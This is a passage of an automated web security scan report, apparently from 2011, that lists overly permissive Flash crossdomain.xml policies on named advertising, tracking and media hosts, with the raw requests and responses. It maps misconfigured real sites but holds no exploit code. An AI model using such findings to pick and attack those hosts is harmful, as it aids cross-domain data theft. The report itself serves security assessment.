<allow-access-from domain="*" />
</cross-domain-policy>

5.78. http://r.turn.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://r.turn.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: r.turn.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: private
Pragma: private
Expires: Tue, 10 May 2011 13:23:30 GMT
Content-Type: text/xml;charset=UTF-8
Date: Tue, 10 May 2011 13:23:30 GMT
Connection: close

<?xml version="1.0"?><cross-domain-policy> <allow-access-from domain="*"/></cross-domain-policy>

5.79. http://s.meebocdn.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s.meebocdn.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain, uses a wildcard to specify allowed domains, and allows access from specific other domains.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: s.meebocdn.net

Response

HTTP/1.1 200 OK
Last-Modified: Tue, 03 May 2011 00:23:33 GMT
ETag: "3934951678"
Content-Type: text/xml
Accept-Ranges: bytes
Date: Tue, 10 May 2011 14:20:37 GMT
Server: lighttpd/1.4.19
Cache-Control: private, max-age=604800
Age: 487650
Expires: Wed, 11 May 2011 22:53:07 GMT
Connection: close

<cross-domain-policy>
<allow-access-from domain="*" secure="False"/>
<allow-access-from domain="*.meebo.com" secure="False"/>
<allow-http-request-headers-from domain="*.meebo.com" headers="*"/>
<allow-access-from domain="*.meebocdn.net" secure="False"/>
...[SNIP]...

5.80. http://s0.2mdn.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s0.2mdn.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: s0.2mdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy
Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT
Date: Tue, 10 May 2011 02:46:22 GMT
Expires: Tue, 10 May 2011 02:46:13 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Age: 37527
Cache-Control: public, max-age=86400

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.81. http://s3.vpimg.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s3.vpimg.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: s3.vpimg.net

Response

HTTP/1.0 200 OK
x-amz-id-2: 20bxD/NOyhoBD5WPGCO9nGCzPhTeQix5szSq6ihAs8r5gDWJIe8G949zDe1B0PqZ
x-amz-request-id: 5B67A670E10546DD
Date: Tue, 10 May 2011 13:43:22 GMT
Content-Type: text/xml
Server: AmazonS3
X-Cache: MISS from cdce-nym011-013.nym011.internap.com
X-Cache: MISS from cdce-nym011-012.nym011.internap.com
Via: 1.1 cdce-nym011-013.nym011.internap.com:1081 (squid/2.7.STABLE7), 1.0 cdce-nym011-012.nym011.internap.com:80 (squid/2.7.STABLE7)
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-pol
...[SNIP]...

5.82. http://search.twitter.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://search.twitter.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: search.twitter.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:23:23 GMT
Server: hi
Last-Modified: Tue, 25 Jan 2011 18:03:45 GMT
Cache-Control: max-age=1800
Expires: Tue, 10 May 2011 13:47:21 GMT
Content-Type: application/xml
Content-Length: 206
Vary: Accept-Encoding
X-Varnish: 1613380751 1613320499
Age: 362
Via: 1.1 varnish
X-Cache-Svr: smf1-aav-19-sr4.prod.twitter.com
X-Cache: HIT
X-Cache-Hits: 4
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

5.83. http://secure-us.imrworldwide.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://secure-us.imrworldwide.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: secure-us.imrworldwide.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:11:46 GMT
Server: Apache
Cache-Control: max-age=604800
Expires: Tue, 17 May 2011 13:11:46 GMT
Last-Modified: Wed, 14 May 2008 01:55:09 GMT
ETag: "10c-482a467d"
Accept-Ranges: bytes
Content-Length: 268
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
<site-control permi
...[SNIP]...

5.84. http://segment-pixel.invitemedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://segment-pixel.invitemedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: segment-pixel.invitemedia.com

Response

HTTP/1.0 200 OK
Server: IM BidManager
Date: Tue, 10 May 2011 13:40:40 GMT
Content-Type: text/plain
Content-Length: 81

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

5.85. http://segments.adap.tv/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://segments.adap.tv
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: segments.adap.tv

Response

HTTP/1.0 200 OK
Content-Type: application/xml
Connection: close
Content-Length: 204

<?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-polic
...[SNIP]...

5.86. http://speed.pointroll.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://speed.pointroll.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: speed.pointroll.com

Response

HTTP/1.0 200 OK
Content-Length: 170
Content-Type: text/xml
Last-Modified: Tue, 06 Apr 2010 18:31:31 GMT
Accept-Ranges: bytes
ETag: "8e43ce60b7d5ca1:51d"
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC"
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 13:14:30 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

5.87. http://stats.vodpod.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://stats.vodpod.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: stats.vodpod.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Tue, 10 May 2011 13:43:58 GMT
Content-Type: text/xml
Content-Length: 214
Last-Modified: Tue, 06 Oct 2009 18:32:00 GMT
Connection: close
Vary: Accept-Encoding
P3P: policyref="http://facebook.vodpod.com/w3c/p3p.xml", CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
Accept-Ranges: bytes

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-doma
...[SNIP]...

5.88. http://t.mookie1.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://t.mookie1.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: t.mookie1.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:01:34 GMT
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Tue, 12 Apr 2011 21:52:25 GMT
ETag: "ed4007-c9-4a0bfb522d840"
Accept-Ranges: bytes
Content-Length: 201
Keep-Alive: timeout=300, max=12
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

5.89. http://tags.bluekai.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tags.bluekai.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: tags.bluekai.com

Response

HTTP/1.0 200 OK
Date: Tue, 10 May 2011 13:19:12 GMT
Last-Modified: Mon, 07 Mar 2011 20:46:41 GMT
ETag: "43b043d-ca-49dea97c4ae40"
Accept-Ranges: bytes
Content-Length: 202
Content-Type: text/xml
Connection: close

<cross-domain-policy>
<allow-access-from domain="*" to-ports="*"/>
<site-control permitted-cross-domain-policies="all"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy
...[SNIP]...

5.90. http://track.qoof.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://track.qoof.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: track.qoof.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Wed, 17 Feb 2010 07:08:12 GMT
Accept-Ranges: bytes
ETag: "6813abf79fafca1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 104
Expires: Tue, 10 May 2011 13:43:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:43:58 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.91. http://ttwbs.channelintelligence.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ttwbs.channelintelligence.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ttwbs.channelintelligence.com

Response

HTTP/1.0 200 OK
Cache-Control: max-age=86400
Date: Tue, 10 May 2011 13:44:05 GMT
Server: Jetty(6.1.22)
Content-Type: application/xml
Via: 1.0 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Content-Length: 441

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.92. http://turn.nexac.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://turn.nexac.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: turn.nexac.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: private
Pragma: private
Expires: Tue, 10 May 2011 14:12:56 GMT
Content-Type: text/xml;charset=UTF-8
Date: Tue, 10 May 2011 14:12:55 GMT
Connection: close

<?xml version="1.0"?><cross-domain-policy> <allow-access-from domain="*"/></cross-domain-policy>

5.93. http://um.simpli.fi/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://um.simpli.fi
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: um.simpli.fi

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:44:06 GMT
Content-Type: text/xml
Content-Length: 101
Last-Modified: Thu, 24 Feb 2011 21:06:30 GMT
Connection: close
Set-Cookie: uid=rcDQw03JQSZevg1UPcoSAg==; expires=Thu, 10-May-12 13:44:06 GMT; domain=simpli.fi; path=/
P3P: policyref="/w3c/p3p.xml", CP="ADMa DEVa PSAa PSDa OUR IND DSP NON COR"
Accept-Ranges: bytes

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.94. http://va.px.invitemedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://va.px.invitemedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: va.px.invitemedia.com

Response

HTTP/1.0 200 OK
Server: IM BidManager
Date: Tue, 10 May 2011 13:44:07 GMT
Content-Type: text/plain
Content-Length: 81

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

5.95. http://www.huffingtonpost.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huffingtonpost.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.huffingtonpost.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.8 (Unix)
Last-Modified: Thu, 01 Jul 2010 13:55:20 GMT
ETag: "25e188f-fd-48a53d22e2200"
Content-Type: application/xml
Date: Tue, 10 May 2011 13:16:14 GMT
Content-Length: 253
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy><allow-access-from domain="*" /><allow-http-request-headers
...[SNIP]...

5.96. http://adadvisor.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://adadvisor.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: adadvisor.net

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:31:13 GMT
Connection: close
Server: AAWebServer
P3P: policyref="http://www.adadvisor.net/w3c/p3p.xml",CP="NOI NID"
Content-Length: 418
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="
...[SNIP]...
<allow-access-from domain="*.tubemogul.com" />
...[SNIP]...
<allow-access-from domain="*.adap.tv" />
...[SNIP]...
<allow-access-from domain="*.videoegg.com" />
...[SNIP]...

5.97. http://ads.adbrite.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ads.adbrite.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: ads.adbrite.com

Response

HTTP/1.0 200 OK
Accept-Ranges: none
Content-Type: text/x-cross-domain-policy
Date: Tue, 10 May 2011 13:18:51 GMT
Server: XPEHb/1.0
Content-Length: 398
Connection: close

<?xml version="1.0" encoding="UTF-8"?>

<cross-domain-policy>
<allow-access-from domain="*.adbrite.com" secure="true" />
<allow-access-from domain="www.adbrite.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.britepic.com" secure="true" />
...[SNIP]...
<allow-access-from domain="www.britepic.com" secure="true" />
...[SNIP]...

5.98. http://ads.adsonar.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ads.adsonar.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ads.adsonar.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:16:47 GMT
Server: Apache
Last-Modified: Tue, 07 Apr 2009 17:58:21 GMT
ETag: "a3d-466fac2afc940"
Accept-Ranges: bytes
Content-Length: 2621
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300, max=978
Connection: Keep-Alive
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="assets.espn.go.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="static.espn.go.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.quigo.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.lonelyplanet.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.mochila.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.conxise.net" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="app.scanscout.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="media.scanscout.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="static.scanscout.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.digitalcity.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.aolcdn.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="cdn-startpage.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="startpage.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.channels.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.channel.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.web.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.my.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.news.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="iamalpha.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="imakealpha.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="aimcreate.mdat.aim.com:30100 " secure="false" />
...[SNIP]...
<allow-access-from domain="*.spinner.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.popeater.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.theboombox.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.opticalcortex.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.yourminis.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.facebook.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.liveminis.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.brightcove.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.lightningcast.com" to-ports="*" secure="false" />
...[SNIP]...

5.99. http://ads.tw.adsonar.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ads.tw.adsonar.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ads.tw.adsonar.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:24:15 GMT
Server: Apache
Last-Modified: Tue, 07 Apr 2009 17:58:21 GMT
ETag: "a3d-466fac2afc940"
Accept-Ranges: bytes
Content-Length: 2621
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300, max=913
Connection: Keep-Alive
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="assets.espn.go.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="static.espn.go.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.quigo.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.lonelyplanet.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.mochila.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.conxise.net" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="app.scanscout.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="media.scanscout.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="static.scanscout.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.digitalcity.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.aolcdn.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="cdn-startpage.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="startpage.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.channels.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.channel.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.web.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.my.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.news.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="iamalpha.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="imakealpha.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="aimcreate.mdat.aim.com:30100 " secure="false" />
...[SNIP]...
<allow-access-from domain="*.spinner.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.popeater.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.theboombox.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.opticalcortex.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.yourminis.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.facebook.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.liveminis.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.brightcove.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.lightningcast.com" to-ports="*" secure="false" />
...[SNIP]...

5.100. http://ads2.adbrite.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ads2.adbrite.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ads2.adbrite.com

Response

HTTP/1.1 200 OK
Content-Type: text/x-cross-domain-policy
Content-Length: 398
Connection: close
Server: XPEHb/1.0
Accept-Ranges: none
Date: Tue, 10 May 2011 13:19:31 GMT

<?xml version="1.0" encoding="UTF-8"?>

<cross-domain-policy>
<allow-access-from domain="*.adbrite.com" secure="true" />
<allow-access-from domain="www.adbrite.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.britepic.com" secure="true" />
...[SNIP]...
<allow-access-from domain="www.britepic.com" secure="true" />
...[SNIP]...

5.101. http://adx.g.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://adx.g.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: adx.g.doubleclick.net

Response

HTTP/1.0 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/x-cross-domain-policy; charset=ISO-8859-1
Last-Modified: Thu, 04 Feb 2010 20:17:40 GMT
Date: Tue, 10 May 2011 13:36:24 GMT
Expires: Wed, 11 May 2011 13:36:24 GMT
Cache-Control: public, max-age=86400
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.sk" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

5.102. http://api.tweetmeme.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://api.tweetmeme.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: api.tweetmeme.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Tue, 10 May 2011 13:40:58 GMT
Content-Type: text/xml; charset='utf-8'
Connection: close
P3P: CP="CAO PSA"
Expires: Tue, 10 May 2011 13:41:02 +0000 GMT
Etag: be7b79325881cc951e2ea36166682ff0
X-Served-By: h03

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*.break.com" secure="true"/><allow-access-from domain="*.nextpt.com" secure="true"/>
...[SNIP]...

5.103. http://bn.xp1.ru4.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://bn.xp1.ru4.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Request

GET /crossdomain.xml HTTP/1.0
Host: bn.xp1.ru4.com

Response

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Tue, 10 May 2011 14:15:55 GMT
P3p: policyref="/w3c/p3p.xml", CP="NON DSP COR PSAa OUR STP UNI"
Content-type: text/xml
Last-modified: Mon, 22 Nov 2010 19:32:35 GMT
Content-length: 214
Etag: "d6-4ceac553"
Accept-ranges: bytes
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.xp1.ru4.com" />
</cross-d
...[SNIP]...

5.104. http://bstats.adbrite.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://bstats.adbrite.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: bstats.adbrite.com

Response

HTTP/1.1 200 OK
Content-Type: text/x-cross-domain-policy
Content-Length: 398
Connection: close
Server: XPEHb/1.0
Accept-Ranges: none
Date: Tue, 10 May 2011 13:21:57 GMT

<?xml version="1.0" encoding="UTF-8"?>

<cross-domain-policy>
<allow-access-from domain="*.adbrite.com" secure="true" />
